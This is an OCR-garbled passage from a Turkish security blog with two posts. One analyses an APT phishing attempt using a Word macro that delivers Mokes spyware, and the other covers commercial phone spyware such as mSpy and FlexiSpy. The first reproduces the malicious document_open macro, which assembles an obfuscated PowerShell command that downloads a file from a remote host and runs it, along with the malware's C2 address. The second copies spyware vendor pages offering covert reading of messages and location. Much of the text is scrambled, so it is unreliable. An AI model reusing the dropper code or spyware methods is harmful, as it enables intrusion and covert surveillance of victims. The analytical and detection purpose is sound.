uagsnkasd = "ct($hKIGksd+%oqwehd)).('Do'+ 'wnl"
tehkjdgjas(19) ="

tehkjdgjas(2@) = "s"
tehkjdgjas(21)

tehkjdgjas(22)

tehkjdgjas(23)

tehkjdgjas(24)

tehkjdgjas(25)

tehkjdgjas(26)

hdnklasld = "oa
tehkjdgjas(27)

h
B
b
Q
ngn
e
n
9
k

[ = [ | N | N | I | B

£

5
A
r
E
e
7
T
+'ile') .invoke( 'htt'+$jok+'45."
R"

06:09 I

[i [root@... || ™ root@r... | [Mozill... | | malware”[@editda,..
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editdata.txt * SciTE

File Edit Search View Tools Options Language Buffers Help

| 1 editdata.txt *

Private Sub document_open() al
Dim X As Integer, I As Integer, tehkjdgjas(51) As String, iuytfdcas(31) As String, 2
Gbvdfff(9) As String
Dim oiuytfcx As String, iuytgffffff As Boolean, Count As Long, T As Long
asuidk = "cm”
jahdk = "d /c powers" I ]
ughnnnnx = "hell -c $yHHsad=(%env:temp" ]
gyisdl = "+'):$j0k='p"
ghdalln = ": ; ShK sd="Net.';$ogwehd="Web"
gwuehhdnndnd = asuidk + jahdk + ughnnnnx + gyisdl + ghdalln
igwhdnnc = "Client'; (New-Obje"

uagsnkasd = "ct($hKJIGksd+$oqwehd)). ('Do'+ "wnl"|
hdnklasld = "ocadf'+'ile’).invoke( 'htt'+%jok+clear
bt

ashdnkln =

ansjnasld = |"7.1ico’ J$yHHsad); Invoke-Item($yHHsad)"
Shell gwuehhdnndnd + igwhdnnc + uagsnkasd + hdnklasld + ashdnkln + ansjnasld, ©
End Sub

'Password Generation and recovery protocol, for FDF Databases'
*(c) 2011 FDF Holdings corp'

'written by Jesse Fender, all rights reserved'

'To be used by FDF Software only!"

'| Data Password Generator and Recovery, Recovery may not work at
'| first but will be implemented later on in Time...

Friend Function hgfdccc(dfVIBsad As Integer) As String

m [root@,..ﬂ[. root@r,..mg [Mozill,..][[' | malware][[@editda...]

APT odakl: siber saldirilarinda siklikla rastladigimiz gibi teds.exe dosyasinin da galinti oldugunu diisiindiigiim bir firmaya ait olan dijital
sertifika imzalanmis olmasi, art niyetli kisilerin uygulama kontrolii (application control) yapan yazilimlari atlatmak amaciyla bu yonteme
basvurmus olduklarini agik¢a ortaya koyuyordu. teds.exe dosyasinit VirusTotal sitesine yiiklettiginizde ise bu defa 2 antiviriis yaziliminin bu
dosyay1 zararli yazilim olarak tespit ettigini gorebiliyorsunuz.

cerifiate

General | Details | Certification Path

L g Certificate Information

This certificate is intended for the following purpose(s):

» Ensures software came from software publisher
» Protects software from alteration after publication

*Refer to the certification authority's statement for details.

Issued to: LLC AgeraLab

Issued by: GlobalSign Extended Validation CodeSigning CA -
5HA256 - G3

Valid from 10, 10. 2016 to 11. 10. 2017

[Install Cerﬁﬁcate...] [ Issuer Statement ]

Learn more about certificates
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Go gle "lic agera lab" § Q

All Images Videos Shopping MNews More Settings Tools

About 120,000 results (0.99 seconds)

MNo results found for "llc agera lab".

Results for llc agera lab (without quotes):

Agera

www.ageralabs.com/ *

Leading distributor of wholesale skincare and clinical skincare to dermatologists, plastic surgeons
and spas. Chemical Peels, Extreme Anti-Aging and Acne ...

Agera Laboratories Inc.: Private Company Information - Businessweek
www._bloomberg.com/research/stocks/private/snapshot. asp?priveapld=28692809 -

Agera Laboratories Inc. company research & investing information. ... Company Cverview of Agera
Laboratories Inc. ... 4Life Research, LLC, United States ...

= C G https://www.virustotal.com/en/file/bc2a840f254144c777f2db556123f1a7d81434618c4c33bbf7fbelf0edc72bBec/analysis/1481387611/

# Community Statistics Documentation FAQ About ™ English Join our community Sign in
SHA256: bc2aB840f254144¢77712db55612311a7d81434618c4¢33bbfTibe 1f0edc72b8c $
File name: teds.exe

Detection ratio: ~ 2/56 " 0 @ 0

Analysis date: 2016-12-10 16:33:31 UTC ( 0 minutes ago )

= Analysis @, File detail @ Additional information ® Comments ) \Votes

Antivirus Result Update
Invincea virus.win32 parite.b 20161202
Symantec Heur AdvMLB 20161210
AlYac ] 20161210
AVG (] 20161210
Aware -] 20161210
" Ad-Aware (] 20161210 i

UPX ile paketlenmis olan teds.exe calistirildiktan sonra kendisini %APPDATA% klasoriine Adobe, Mozilla/Firefox, Google/
Chrome, Dropbox, Skype, Hewlett-Packard klasorlerinden birine mozillacache.exe, nacl32.exe, hpprint.exe, hpscan.exe skypehelper.exe,
dropboxhelper.exe, acrobroker.exe, adi altinda kopyalayip ardindan ¢alistirmaktadir. Calistirilir ¢alistirilmaz ise yaptigi ilk is, IP lokasyonu
Fransa’y1 isaret eden http://91.121.120.198/v1 adresine istekte bulunarak kalpatisi (heartbeat) mesaji iletmektedir.
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File WView Debug P1ugins Favourites  Options Help Dec72016 o )
COE 0 ¥R tRBODemgsm0 90 o BEEee i a

EeER 20

i@cpu i-!Gr... [ [3ioa ||_,]No [ ® ge. | Mmem. | Oica. | =osen |J<_>JSc | E‘I.s\f... [ ©s0. | Pref. [, [ o | & o

&K | alModules (Strings) ﬂ | Range: 00D 7BCO0-00D7BCO3 (Region nad32.unpacked.exe) D |

Address |Disassembly

0040070F |mov dword ptr ds:[123FB98],eax

00400%0F |mov dword ptr ss:[esp],nacl32.unpacked.D3B000
00400925 |mov dword ptr ss:[esp],nacl32.unpacked.D3IB000
00400940 | mov dword ptr ss:[esp+4],nacl32.unpacked.D9B013
00400958 | mov dword ptr ss:[esp+4],nacl3z.unpacked.D9B029
00400938 |mov dword ptr ss:[esp],nacl32.unpacked.D3IB041
00400940 | mov dword ptr ss:[esp+4],nacl32.unpacked.D9B04F
0040120F |mov dword ptr ds: [123FB98],eax

0040150F |mov dword ptr ss:[esp],nacl32.unpacked.D9B000
00401525 |mov dword ptr ss:[esp],nacl32.unpacked.D3IB000
00401540 | mov dword ptr ss:[esp+4],nacl32.unpacked.D9B013
00401558 |mov dword ptr ss:[esp+4],nacl32.unpacked.D9B029
00401588 |mov dword ptr ss:[esp],nacl32.unpacked.D9B041
00401540 [mov dword ptr ss:[esp+4],nacl32.unpacked.D9B04F
00401CED | mov dword ptr ss:[esp+4],nacl32.unpacked.DSB080
00402FE7 |mov dword ptr ss:[esp],nacl32.unpacked.D9B180
00403082 |mov dword ptr ss:[esp],nacl32.unpacked.D9B18C
004030CA | mov dword ptr ss:[esp],nacl32.unpacked.D9B19A
004031EE |mov dword ptr ss:[esp],nacl32.unpacked.D9B19E
004031CF |mov dword ptr ss:[esp],nacl32.unpacked.D9B1AS
004032C0 | mov dword ptr ss:[esp],nacl32.unpacked.DIB1AC
00403204 | mov dword ptr ss:[esp],nacl32.unpacked.D3B1E9
004033C5 |mov dword ptr ss:[esp],nacl32.unpacked.D9B1C1
0040330% | mov dword ptr ss:[esp],nacl32.unpacked.DIB1CC
004024CA | mov dword ptr ss:[esp],nacl32.unpacked.D9B1D4
00403580 |mov dword ptr ss:[esp],nacl32.unpacked.D9B1DC
00404EFE | cmp edi,nacl32.unpacked.DIB644

00404FF5 |mov dword ptr ss:[esp+4],nacl32.unpacked.D9ESAD
004055F2 | mov dword ptr ss:[esp],nacl3z.unpacked.D3B5AE
00405C24 | mov dword ptr ss:[esp+iC],nacl32.unpacked.DIB67C
00405030 | cmp eax,nacl32.unpacked.DIBGE44

0040612C |mov dword ptr ss:[esp],nacl32.unpacked.D9B700
00406146 | mov dword ptr ss:[esp+4],nacl32.unpacked.D9B716
004062E0 | mov dword ptr ss:[esp],nacl32.unpacked.DIB72C
00406ACD |mov dword ptr ss:[esp],nacl32.unpacked.DIB77F
00408AEL | mov dword ptr ss:[esp],nacl32.unpacked.D9B785
00406C2E |mov dword ptr ss:[esp],nacl32.unpacked.D9B730
00407032 |mov dword ptr ss:[esp],nacl32.unpacked.D9B774
mov edi,nacl22.unpacked.D9B7AS

mov eax,nacl32.unpacked.DIBTAD

mov dword ptr ss:[esp+i4],nacl32.unpacked.D9ETFS
mov dword ptr ss:[esp+C],nacl32.unpacked.D9ETAS
mov dword ptr ss:[esp+4],nacl3z.unpacked.DIB7B2Z
mov dword ptr ss:[esp+4],nacl32.unpacked.DIETES

m |

e
ibgcc_s_dw2-1.d11" [:

ibgcc_s_dw2-1.d11"

__register_frame_info"

deregister_frame_info"

ibgcj-16.d11"

Jv_RegisterClasses”

b

ibgcc_s_dw2-1.d11"
ibgcc_s_dw2-1.d11"
__register_frame_info"
deregister_frame_info"
ibgci-16.d1T"
Jv_RegisterClasses”
etThreadErr e
SkypeHelper™
"DropboxHelper"

"nacl3z"

"mozillacache™

"Firefox"

"AcroBroker"

"“Acrobat™

“hpprint™

"hpscan”
"http://91.121.120.198,/v1"
" fcc .exea"

| o
"http:,//91.121.120.198,/v1"
ttp://91.121.120.198,/v1"
"urimon.d11"
"obtainUseragentString”
"Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident
"Close™

ccept-Language

"User-Agent™
"GET"

»

Search: [Type here to filter results. .. [ Regex
= i e — e e !_ 34009
Command: Default =
| Paused  |Breakpoint at 00402FDO set! | Time Wasted Debugging: 0:00:3:

82



f® DA - naciz2idb (nac32exe) C: rt\Ap

a\Roaming)\G

File Edit Jump Search View Debugger Options Windows Help

BHie-=- 8 8 ) o0 dadd F-Fw X > Local Win32debugger v %el(iF] @ §* B¢
. 1) 5
SR 010 T A W1 T YR e 11111 ([0 1 [ [ [} Y
# M Library function ] Data Il Regular function Unexplored [l Instruction [l External symbol
[F] Functions window O & x |1D x} | Ewn-. B | st B | Bl e £ | Al st | i | Ene (B3 | %E Im.. £ ‘B
Function name Segr * || Address Length Type  String E
(7] nullsub_1 PR o= . qata:00D9B0ED
z sub_401170 text ‘s’ .rdata:0009B0ODO 00000016 unic.. :'keys/bot
z start text E .rdata:0009E110 0000001A unic... kemnel32.dIl
z sub_401500 text 's'| .rdata:00D9B150 00000024 unic.. Microsoft/Windows
(7] sub_401600 text || [5] .rdata:00DIBIF4 00000006 unic.. /Y
Lf| sub_ 401630 text [ .rdata:00D9B20C 00000004 unic.. copy
L7 sub_4016D0 tet || 5] rdata:00D9B228 00000006 unic.. /€
Lf] sub_ 401710 tet || 5] rdata:00D9B250 00000010 unic..  crduexe
Lf] sub_4017EQ tet || 5] rdata:00D9B270 0000000A unic.. tmp
Lf| sub_401A80 fext 7 .rdata:00D9B290 00000010 unic.. avp.exe
Lf] sub_ 401860 text rdata:00D9B2B0 0000001A unic.. explorer.exe
7] sub_401B70 ‘text .rdata:00D9B2F0  0000001C unic.. dwservice.exe
L7 sub_401B80 text rdata:00D9B330 0000001A unic.. dwengine.exe
Lf] sub_401B30 text rdata:00D9B35C 00000004 unic.. .exe
L7 sub_401BBO text rdata:00D9B390 00000020 unic.. Hewlett-Packard
Lf] sub_401C00 text rdata:00D9E3D0 00000020 unic... Hewlett-Packard
Lf| sub_401CBO tet || 5] rdata:00D9B400 0000000C unic.. Adobe
Lf| sub_401CCO tet || 5] rdata:00D9B430 00000010 unic.. Mozilla
Lf] sub_401D60 tedt 1 5] rdata:00D9B450 0000000E unic.. Google
Lf] sub_401DD0 tet || 5] rdata:00D9B470 00000010 unic.. Dropbox
Lf] sub_401ECO tet | 5] rdata:00D9B490 0000000C unic.. Skype
Lf| sub_401F10 et 7| [T rdatafNNGRARN AOOONNNR e i
4 m 3 4 rrr 3
Line 6 of 26633 Linel of 6918
Output window O & x
IDAPython v1.7.8 fipnal (serial B8) {c) The IDAPython Team <idapython@googlegroups.com> i
Command "MakefAscii™ failed LI
Command ""Makefscii' failed 4

Command "HMakefAscii' failed

AU:  idle Down Disk: SGB
B WHOIS P Losikup Tool | ¢ allslgl 2]
“« C ) | @ hetpsswwwutratoots.com/toclsip W kupRe % O
— T T 3 T x 3 = W T — & -3 3 — = x . T W T = o — > -

Zararli yazilimda yer alan karakter dizileri (strings) iizerinde arastirma yapmaya devam ettiginizde cok gegcmeden bu zararli yazilimin 2016
yilinin baginda Kaspersky tarafindan kesfedilen, Linux, Windows, macOS isletim sistemlerini hedef alan Mokes isimli ses, goriintii ve tus
kaydi1 yapabilen casus bir yazilim oldugunu anlayabiliyorsunuz.
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File Edit Jump Search View Debugger Options Windows Help
Bl e BmE B ) DO @ F - w X > O O[oaiwns2dbugeer -] e [F) A # B
SN e et e e e et M o — 000

& M Library function pata [l Regular function Unexplored [l Instruction [l External symbol

Functions window o8 x | .. B | o B | m.. [ | st (£ | [Ol He.. [ | st B | Flen.. B 4 B
Function name Segr * || Inction Instruction g
nullsub_1 text _| 1b_401500 mov  [esp+38h+IpModuleMame], offset alibgcc_s_dwZl_; "libgcc_s_dw2-1.dII" |—|

i
z sub_401170 text 1b_401500 mov  [esp+38h+IpModuleMame], offset alibgee_s_dw2l_; "libgec_s_dw2-1.dII"
z start text 1b_92C9F0 and edx, offset aGecRevlBuiltBy ; "GCC: (Revl, Built by MSYS2 project) 6.1"...
z sub_401500 text 1b_92CE10 test eax, offset aGecRevlBuiltBy ; "GCC: (Revl, Built by MSYS2 project) 6.1"...
z sub_ 401600 text b 92CFED and  edsx, offset aGecRevlBuiltBy ; "GCC: (Revl, Built by MSYS2 project) 6.1"...
z sub_401630 text 1b_92D190 test eax, offset aGecRevlBuiltBy ; "GCC: (Revl, Built by MSYS2 project) 6.1"...
z sub_4016D0 text . ebyx, offset aZEkoms3rdparty ; "Z:/Ekoms/3rdparty/qt/bot-main-win32-gcc”
Z sub_401710 R : CHAR alibgce_s_dw2l []
z sub_4017ED text db 'win32-gce/lib/engines',0
7] sub_401AE0 text db ‘win32-gcc/private’ 0
sub_401B60 R db 'win32-gcc',0
sub_401B70 text db 'win32-gcc/certs' 0
sub_401B80 et db ‘win32-gcc/cert.pem’,0
sub_401B30 dext | db 'static release build; by GCC 6.1.0)
S S e db '-gcc',0
- aGecRevlBuilt 0 db 'GCC: (Revl, Built by MSYS2 project)’
Lhpsaliaias aGeeRev1Built 1 db 'GCC: (Revl, Built by MSYS2 project)’
%, Graph overview O & x aGecRevlBuilt 2 db 'GCC: (Revl, Built by M5YS2 project)’

aGccRevlBuilt_3 db 'GCC: (Revl, Built by MSYS2 project)’
aGecRevlBuilt 4 db 'GCC: (Revl, Built by MSYS2 project)’
aGeccRevlBuilt 5 db 'GCC: (Revl, Built by MSYS2 project)’

aGecRevlBuilt 6 db 'GCC: (Revl, Built by MSYS2 project)’ -
4 [ [T | »
Line 7 of 1439
Oumutwindow O &f x
i e e et P ] Ay Fet e e
apply_callee_type_plugin:run it
ApplyCalleeType: Starting up
ApplyCalleeType: Using ea: B8x809c8f11 il
ApplycalleeType: Cannot {or shouldn't) run when call optype is o_near I
Pattern “gcc” was not found. )
AU: _idle Down Disk: 5GB

File Edit Jump Search View Debugger Options Windows Help
BRie-2- H0ME S 3 s Q@ whoh @ ¥ w X P O O[|ociwnidbuger ] % [F): 30 FF B

S e e e e e e e e e U o — ¢ 000
& M Library function pata [l Regular function Unexplored [l Instruction [l External symbol
[F] Functions window Oo&f x | .. B | Mo [ | n.. B3 | st. B | D] He.. | st B | Elen.. [ ’4B
Function name Segr * || Address Length Type  String =
(7] nullsub_1 et L rdata:00DIB4E0 00000008 unic.. Run |
z sub_401170 text .rdata:00D9B4 D0 0000001E unic... CurrentVersion
z start text 's'| .rdata:00D9B510 00000010 unic.. Windows
E sub_401500 text E .rdata:00D3B530 00000014 unic... Microsoft
z sub_401600 text 's’| .rdata:0003B570 00000012 unic.. Software
z sub_401630 text 's'| .rdata:00D9B500 00000010 unic.. dd*.ddt
[ ] sub_4016D0 text [ .rdata:00D9B5F0 00000010 unic..  kk*.kkt
z sub_401710 text 's'| .rdata:00D9B610 00000010 unic.. aa“.aat
? sub_4017ED Jtext E .rdata:0009B630 00000010 unic.. ss*sst
sub_401A80 text 's'| .rdata:00D9BGB0 00000024 unic.. ddMMyy-HHmmss-zzz
sub_401B60 et E .rdata:00D9B6F0  0000000E unic..  ddMMyy
sub_401B70 text [ .rdata:00D9B850 00000032 unic... application/octet-stream
sub_401B80 text I‘-_’ .rdata:00D9BEB0  0000001A unic.. Content-Type
sub_401B30 fext _ .rdata:00D9B930 00000018 unic.. aa%l-%2.aat
P et [ .rdata:00D9B970 00000014 unic.. audio/pcm
= ‘s’| .rdata:00D9BIF0 00000004 unic.. JPEG
RS 5] rdatz:00D9BDF0 00000012 unic..  kkSLkkt
.ﬂ'.Graph overview O & x E .rdata:00DSBEL4 00000006 unic... J\n
T ‘s’ .rdata:00D9BE2C 00000008 unic.. \nn[
E .rdata:00D9BE44 00000004 unic... 0x%1
‘s’ .rdata:00D9BEGD 00000008 unic.. f3%1
IE rdata:00D9BETE 00000004 unic.. Zoom -
4 | T 3
gee: not found
Output window O & x
apply callee type plugin:run -

ApplyCalleeType: Starting up

fApplycCalleeType: Using ea: Ox069c8f11 i
ApplyCalleeType: Cannot {or shouldn't) run when call optype is o_near [
Pattern “gcc” was not found. )

A0 idle Down Disk: 5GB



Sadede gelecek olursak, Kaspersky vb. giivenlik sirketlerinin tehdit raporlarinda okudugunuz ve okurken “Vay canina adamlar neler
yapmuislar, nasil yapmislar...” dediginiz o APT gruplari, siz o raporlar1 okurken aslinda sizi ve kurumunuzu hedef aliyor olabilir. Bu gruplarla
miicadele edebilme adina giivenlik teknolojileri, egitim ve insan kaynag1 yatirimlarinizi bir sonraki yila 6telemeden 6nce tekrar, tekrar ve
tekrar diigiinmekte fayda olacaktir.

Bir sonraki yazida goériismek dilegiyle herkese giivenli giinler dilerim.

Not: Bu yaz1 ayrica Pi Hediyem Var #10 oyununun ¢6ziim yolunu da icermektedir.

The post Bir APT Girisimi appeared first on Siber Giivenlik Giinliigii.

Casus Telefon

By Mert SARICA on March 1st, 2017

Ofansif giivenlige olan merakimin zirve yaptigi lise yillarimin basinda (1998 yil1) oldukga sansli bir siniftaydim ¢iinkii etrafimda Fenerbahge
mi yoksa Galatasaray mi biiyiik yerine Windows NT 4.0 mi1 yoksa Linux mii daha giivenli tartigsmalar1 yapan sinif arkadaslarim vardi. O giin
Windows NT‘yi savunan arkadasim aksam Linux kullanan arkadaslarin siber saldirisina karsin sistemini ayakta tutmaya ¢aligir ve bunun
iizerine bir sonraki giin sinifta tatli atigmalar olurdu.

1998 yilinda Slackware Linux ile oldukc¢a hasir nesir olan sinif arkadaglarimdan biri olan Doga¢c SENOL, bana da Slackware Linux kurmay1
teklif etmis ve kabul etmem iizerine Linux diinyasina adim atmistim.

Sohbet sunucularimin (IRC) olduk¢a meshur oldugu o yillarda, Linux’ten IRC sunucularina kara kuru konsol ekranindan BitchX IRC istemcisi
ile baglanmaktan ¢ok keyif aliyordum. Birgiin root yetkisi ile ¢alistirdigim BitchX IRC istemcisi ile EFnet IRC agindaki #Linux kanalina
girmeye ¢alistigimda, identimde root yazdigi i¢in otomatik olarak kanaldan atilmigtim. Sebebini sordugumda ise yonetici yetkisi ile sohbet
sunucularina girmenin giivenligim agisindan (Root yetkisi ile ¢aligtirdigim IRC istemcisindeki bir zafiyet, uzaktan istismar edilerek art niyetli
kisiye sistemimde root yetkisi verebilirdi.) riskli oldugu sdyleniyordu. Her ne kadar o zaman buna anlam veremesem de, ilerleyen yillarda
bunun sebebini ve 6nemini ¢ok daha iyi anladim.

Giintimiize donecek olursam, iOS veya Android yiikli akilli cihazlar, katmanli giivenlik modeline uygun olarak kisitli yetkilerle ¢calisacak
sekilde son kullanictya ulastirilmaktadir. Ornegin Android’de root yetkisine sahip olmadigimz taktirde diger bir uygulamanin verisine
rahatlikla ulasamayip o uygulamanin size sunmus oldugu yetkiler/erisimler sinirinda erisebilirsiniz. i0S’a baktiginizda da benzer sekilde
kisitlar oldugun gorebilirsiniz. Sizi engelleyen bu kisit ayni sekilde cihaziniza bir sekilde yiiklenen zararli yazilimlarin da verebilecegi
potansiyel zararlart azaltmaktadir.

Tabii ¢ogu kullanici bu sistemsel kisitlarin basta dzgiirlikklerini kisitladiklarini diigiinerek Android yiiklii cihazlarinda root yetkisi almak,
i0S yiikli cihazlarin ise jailbreak etmek igin giivenligi ikinci plana atmaktadirlar. Bu durum da casus uygulamalarin isini oldukca
kolaylastirmaktadir.

Nasil kolaylastirdig1 sorusunun yanitini 6grenmek igin bu alanda kullanilan herhangi bir casus yazilimin web sitesini incelemeniz yeterli
olacaktir. Ornegin mspy casus uygulamasinin web sitesini incelediginizde jailbreak edilmis bir iOS cihazda hangi uygulamalara ait verinin
kolaylikla toplanabilecegini gorebilirsiniz. Bir diger casus uygulama olan Flexispy uygulamasinin web sitesini inceleyerek olursaniz da, root
yetkisine sahip olunan bir cihazda tiim anlik mesajlasmalara ulagsmaktan tutun da ortam dinlemesi yapilmasina imkan tanidigini gorebilirsiniz.
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& = C A (@ https://tr.mspy.com/compatibility.htm|

ANA SAYFA

URUNLER OZELLIKLER UYUMLULUK 555

Jailbreak ile mSpy

i05 6 -8.4; 9.0.2 ile uyurnlu
iPhone ya da iPad internete bagl olmali.
Takip edilen cihaz Gzerine jailbreak islemi yapilmig olmal.

mSpy’ kurmak igin cihaza fiziksel erisiminizin clmasi gerekiyor.

i0S icin Desteklenen Ozellikler:

iletisim aplikasyonlarini (Snapchat, Skype, FB Messenger, Viber, Line,
WhatsApp, Telegram) takip edin ve onlan engelleyin

Anlik GPS Konumu / Cografi Cevreleme
{onitor calls}

Aramalari takip edin, bltlin kontak listesini inceleyin ve istenmeyen
kontak kisilerini engelleyin

Bltlin e-postalara géz atin (hem gelen hem de gonderilen)

internet kullanimi: Tarama Gegmisi / Web sitesi imleri / istenmeyen
siteleri blokla / Anahtar kelime uyarilarn

{evice Wi}
Cihazin Temizlenmesi

& daha fazlasi!

HAKKIMIZDA

SIMDI SATIN ALIN Girig ~ Bl ~

Jailbreak olmadan mSpy

Bltlin i0SS stUrdmleriyle uyumlu{iosDesteklenenjail'sizSGrima}.
Cihazin internet erisimi olmali.

Sayet iCloud bilgilerine zaten sahipseniz cihaza fiziksel erisiminiziz
olmasina gerek yok.

Yine de, iCloud yedekleme ézelliginin cihaz (zerinde aktif hale
getirilmemesi durumunda fiziksel erisim gerekli olabilir.

Desteklenen Ozellikler:

Aramlari takip etme, bitiin kontak listesini gérintilemek
Gonderilen / Alinan SMS

iletisim sohbetleri: Whatsapp

Tarama Gegmisi

Etkinlikler

Kayitlar

' M. Android Casus Yazilim -

€ C 0 @& https//tr.mspy.com/android-spy.html
AMASAYFA URUNLER OZELLIKLER UVLINSL LUK 555 HAKKIMIZDA,
Arama Kayitlarini Denetleyin Anlik Mesajlasmalari
Gorantileyin

Android bir cep telefonuna yuklenen mSpy
uygulamasi ile, cep telefonu kullamicisinin
kimlerle konustugunu gormek igin arama
kaydi gegmisini gorintileyebilir,

Anlik mesajlazma sohbetlerini inceleyin ve
kiminle nelerin gorig01d0EUNG Ggrenin!
Birinin hesabina girebilmek igin

SiMD| SATIN ALIN Girig ~ B -

8

Web Kullamimini izleyin

Bu islev, kisi tarafindan hangi sitelerin
daha sik ziyaret edildigini ogrenmek igin
web tarama gegmisini ve yer imlerini
gorebilmenize yardima olur, Uygulamanin

1 engeliey ve
arama engelleme ozelligini kullanarak
onlar kara listeye ekleyebilirsiniz. Aynca
arama verilerine tam erisim (ahcilarin ad,
telefon numaralari, aramanin saati, tarihi
ve sliresi ile diger yararh bilgiler)
saflayabilirsiniz.

GPS Konumunu Takip Edin

Oldukga etkili GPS takipgisi herkes
kolaylikl. ilir. Mevcut

segenegini kullanarak Android
telefonda istenmeyen sitelere erizimi de

pr bir hacker gerek yok. 1B
Takip uygulamamiz ile Facebook
ger, Snapchat, pp ve Viber'a B

sorunsuz bir sekilde Ucretsiz erigim
saglayabilirsiniz.

=

Metin Mesajlarini Gorintale

Gocuklanmiz strekli olarak ne hakkinda

konumlarin yani sira daha once gidilen
rotalari da takip edebilir ve kisinin nerelere
gitmeyi sevdigini kontrol edebilirsiniz.

s Not: tim Anlik Mesajlasma takibi Android cihazinizin root yapilmasini gerektirir!

jlagligini veya caliz mizin kigisel
metin mesajlar (SMS) génderip
gondermedigini 6grenmek mi
istiyorsunuz? Uygulamamiz ile hedef
Android cep telefonunu izleyebilir ve gelen
{ giden metin mesajlanna géz atabilirsiniz.
Metinler cep telefonundan silinse bile
uygulama bunlan geri getirebilir ve bir
kopyasini kaydedebilir!

Multimedya igerigi Tarayin

Android telefonun galeri bélomine
kaydedilen resimleri ve tabi ki SMS veya
sohbet uygulamalan yoluyla gelen veya
gonderilen resimleri / ekran gérintdlerini
gorantileyin, Resimler silinmis olsa bile
bunlars geri getirebilir, bu resimlerin ne
kadar uygun oldugunu
degerlendirebilirsiniz. Bu dzellik, yeni trend
olan 'sexting’ resimleri hakkinda endigeleri
olan ebeveynler igin ok uygundur,
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Running

Takip

EXISPY

PREMIUM

Nenrooted

Sof

Arama Gegmigi

Nenrooted

Rooted

Arama Gegmigi Arama Gegmigi

VOIP Ararna Gegmigi

SMS SMS SMS
Email
MMS MMS MMS

Duvar Resimleri

Duvar Resimleri Duvar Resimleri

Fatograflar Fotodgraflar Fotodraflar
Sesler Sesler Sesler
Videolar Videolar Videolar
Konum Bilgisi Konum Bilgisi Konum Bilgisi
Takvim Takvim Takvim
WhatsApp
LINE
Skype
WeChat
Vibar

Facebook
Facebook Messenger
BEM
KIK
Hangouts
Yahoo Messenger
Telegram

Tinder

EXTREME

Rooted

Sifreler

Bu 44,4 kadiar destebler

Arama Gegmigi

VOIP Arama Geqmisi

SM5
Email
MMS
Durvar Resimleri
Fotograflar
Sesler
Videolar
Konum Bilgisi
Takvim
WhatsApp
LINE
Skype
WieeChat
Viber

Facebook

Facebook Messenger

BBM
KIK

Hangouts

Yahoo Messenger

Telegram

Tinder

turk.internet.com sitesinin kurucusu Fiisun NEBIL ile Mart ayinda gerceklestirdigimiz soyleside, halk arasinda cihaz ¢ok 1sinryorsa, sarji
¢abuk bitiyorsa casus yazilim vardir inanisinin gii¢lii donanimlar sayesinde giiniimiizde ¢ok da dogruyu yansitmadigina deginmistim. Hatta
mspy gelistiricilerinin jailbreaksiz, sadece hedef iPhone kullanicisinin iCloud parolasina ihtiyag duyarak karsi tarafi izlemeye (iCloud

yedeklerini belli periyotlarda indirip, analiz etmektedir.) imkan tanidigini da gorebilirsiniz.

j M. Yanhm kirmadan mSpy ¢ % V{j

B - o

€ = C & @ httpsy//tr.mspy.com/no-jailbreak html

URUNLER OZELLIKLER UYUMLULUK 855 HAXKIMIZDA $IMDI SATIN ALIN Giris ~ B -

Kisiler

izlenen kullanicinin telefonundaki kisileri
gorintileyin.

=
Tarayici Gegmisi

izlenen iPhone ya da tablet cihazdaki tim
web aktivitelerini gérantileyin.

%)

-
WhatsApp

i05 cihazlaninda WhatsApp etkinliklerini
takip edin.

Arama Kayitlari

iPhone'daki gelen ve giden bitin
aramalan gérintileyin.

Etkinlikler

Kullamcinin cihazindaki tim etkinlik
girdilerini inceleyerek bilgilerin seffafligim
saglayin.

<
Wi-Fi Aglari

Hedef telefonun bagh oldugu her Wi-Fi
hotspot hakkinda bilgi toplayarak cihazin
tam konumunu &frenin.

&=

Metin Mesajlari

izlenen iPhone'daki gonderilen ve alinan
bitin metin mesajlarimn icerigini okuyun.

Notlar

iPhone ya da tablette yazilan bitun notlan
gozden gegirin.

o000
0000

B
3
Yiuklenen Uygulamalar

05 cihazina yuklenen oyuniar, sosyal

uygulamalar ve digerleri gibi tim
uygulamalan gorantaleyin.

%5 Not: i0S cihazina jailbreak uygulamadan takip edebilmek igin iCloud giris bilgileri gereklidir.

Qs

B8 =

|
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http://www.turk-internet.com/
http://twitter.com/fusunnebil
http://www.turk-internet.com/portal/yazigoster.php?yaziid=52650
http://www.icloud.com/
http://www.icloud.com/

Tabii bu yaziy1 okuyanlardan bazilarinin aklina peki ya benim cihazima casus yazilim yiiklendi ise nasil tespit edebilirim sorusu gelecektir.
Benim de aklima benzer bir soru geldigi i¢in bu soruyu Pi Hediyem Var #8 oyununda sormaya karar verdim.

Ornek olarak mspy v4.18.3 casus uygulamasi yiiklii bir Android cihazi ele alacak olursak, ikon/simge gizleme 6zelligini de barindiran
mspy casus uygulamasi Android cihazinizda yiiklii ise her ne kadar simgesi gizli olsa da dosya sistemi iizerinde android.sys.process , cihaz
yoneticileri kisminda ise Update Service adi altinda kolaylikla tespit edilebilmektedir.

©0 Genymotion - Samsung Galaxy S6 - 6.00.. — F

A A \ &

& Device administrators

Personal

Ig“ Update Service

Internal Update Service

O Android Device Manager

Allow Android Device Manager to l:l
lock or erase a lost device

Sample Device Admin

Sample code for writing a

H &® | DeviceAdmin class. This implemen- I:I
tation provides a Ul (in ApiDemos)
for you to directly control what the
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-C:\WINDOWS\system32\cmd.exe o = -

com.and
com.and

om.an
com.and
com.and

com. anc
com.and

com.and

com.and
com. anc
com.and

com.goo

com.g
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Bu gibi durumlarda cihazin http trafigini Charles Proxy gibi bir araca yonlendirip trafigini izlemekte de fayda olabilir. Ornegin mspy v4.18.3
casus yazilimi yiikli olan bir cihazin trafigini incelediginizde, casus uygulamanin elde ettigi bilgileri http://a.thd.cc adresine gonderdigini
gorebilirsiniz.

Overview | Request Response | Summary | Chart | Notes

POST /apivd/send/phoneinfojson HTTP/1.1

Connection: close

Content-Type: application/x-www-form-urlencoded;

Account-Hash:

Build-Version: 4.18.3

User-Agent: Dalvik/2.1.0 (Linux; U; Android 6.0; Samsung Galaxy 56 - 6.0.0 - API 23 - 1440x2560 Build/MRA52K)
Host: a.thd.cc

Accept-Encoding: gzip

Content-Length: 487

hash=cabdd9chc542a9f483a67170d1fe8b788&imei=0000000000000008auth_id= &api_revision=28&data_id=08&data=H4slA
AAAAAAMAFWROWEEMAXFT75ITHRFgGMSul4kMMa3VEKMiowwytevcbaoXSLLLE s5_dr3UohXV

